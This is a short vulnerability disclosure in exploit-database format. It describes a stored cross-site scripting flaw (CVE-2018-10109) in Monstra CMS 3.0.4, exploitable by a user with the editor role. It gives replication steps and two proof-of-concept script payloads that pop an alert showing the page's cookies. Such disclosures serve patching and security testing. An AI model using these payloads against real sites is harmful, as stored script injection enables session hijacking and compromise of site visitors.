Monstra cms 3.0.4 - Persitent Cross-Site Scripting

# Exploit Title: Monstra cms 3.0.4 - Persitent Cross-Site Scripting
# Date: 2018-04-14
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
# CVE :CVE-2018-10109


#Description:
#Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload
#in the content section of a new page in the blog catalog.


#Steps to replicate:
#1. log into the system as an editor role
#2. creat a new page in the blog catalog
#3. navigate to content section
#4. enter payload: <script>alert(document.cookie)</script>
#5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution



#Exploit Code:
<script>alert(document.cookie)</script>
or
<img src=1 onerror=alert(/xss/) >